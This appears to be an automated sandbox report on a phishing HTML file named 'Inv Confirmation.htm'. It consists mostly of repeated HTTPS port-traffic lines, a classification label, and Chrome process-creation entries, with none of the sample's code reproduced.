Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56502 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56470 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56456 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56538 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56513 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 56467 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56477
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56478
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56479
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56484
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56485
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56486
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56487
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56480
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56481
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56482
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56483
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 56493 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 56504 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56488
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56489
Source: unknown	Network traffic detected: HTTP traffic on port 56455 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56495
Source: unknown	Network traffic detected: HTTP traffic on port 56515 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56482 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56496
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56497
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56498
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56491
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56492
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56493
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56494
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56490
Source: unknown	Network traffic detected: HTTP traffic on port 56536 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 56444 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 56503 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 56526 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56494 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56499
Source: unknown	Network traffic detected: HTTP traffic on port 56471 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 56466 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 56443 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56548 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56432 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56454 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56431 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56483 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56500 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56546 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56472 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56511 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56465 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56522 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56535 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 56495 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 56510 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56453 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56484 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56442 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56496 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56501 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56524 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56473 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56533 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56441 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56464 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56430 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56545 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56452 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56512 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56485 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56523 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56474 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56463 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56534 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56429 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56497 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56451 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56508 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56543 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56440 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56486 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56519 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56507 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56532 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56475 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56498 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56462 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56507
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56508
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56509
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56503
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56504
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56505
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56506
Source: unknown	Network traffic detected: HTTP traffic on port 56544 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56500
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56439 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56501
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56502
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56530 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56438 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56509 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56450 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56521 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56487 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56476 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56427 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56461 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56542 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56426 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56449 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56531 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56499 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56520 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56488 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56528 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56505 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56437
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56438
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56439
Source: unknown	Network traffic detected: HTTP traffic on port 56477 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56433
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56434
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56435
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56436
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56440
Source: unknown	Network traffic detected: HTTP traffic on port 56540 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56441
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56442
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56443
Source: unknown	Network traffic detected: HTTP traffic on port 56460 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56489 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56448
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56449
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56444
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56445
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56446
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56437 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56447
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56451
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56452
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56453
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56454
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56450
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56448 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56459
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56455
Source: unknown	Network traffic detected: HTTP traffic on port 56459 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56456
Source: unknown	Network traffic detected: HTTP traffic on port 56490 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56457
Source: unknown	Network traffic detected: HTTP traffic on port 56436 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56458
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56462
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56463
Source: unknown	Network traffic detected: HTTP traffic on port 56516 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56464
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56465
Source: unknown	Network traffic detected: HTTP traffic on port 56478 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56460
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56461
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56527 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56466
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56467
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56468
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56469
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56473
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56474
Source: unknown	Network traffic detected: HTTP traffic on port 56541 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56475
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56476
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56470
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56471
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56472
Source: unknown	Network traffic detected: HTTP traffic on port 56425 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56518
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56519
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56514
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56515
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56516
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56517
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56510
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56511
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56512
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56513
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56520
Source: unknown	Network traffic detected: HTTP traffic on port 56518 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 56447 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56424 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812

Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:56429 version: TLS 1.2

System Summary

HTML document with suspicious name

Source: Name includes: Inv Confirmation.htm

Initial sample: inv

Source: classification engine

Classification label: mal96.phis.winHTM@24/29@6/10

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\Inv Confirmation.htm"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2568 --field-trial-handle=2540,i,13632761524752207932,15228778839734499791,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2568 --field-trial-handle=2540,i,13632761524752207932,15228778839734499791,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
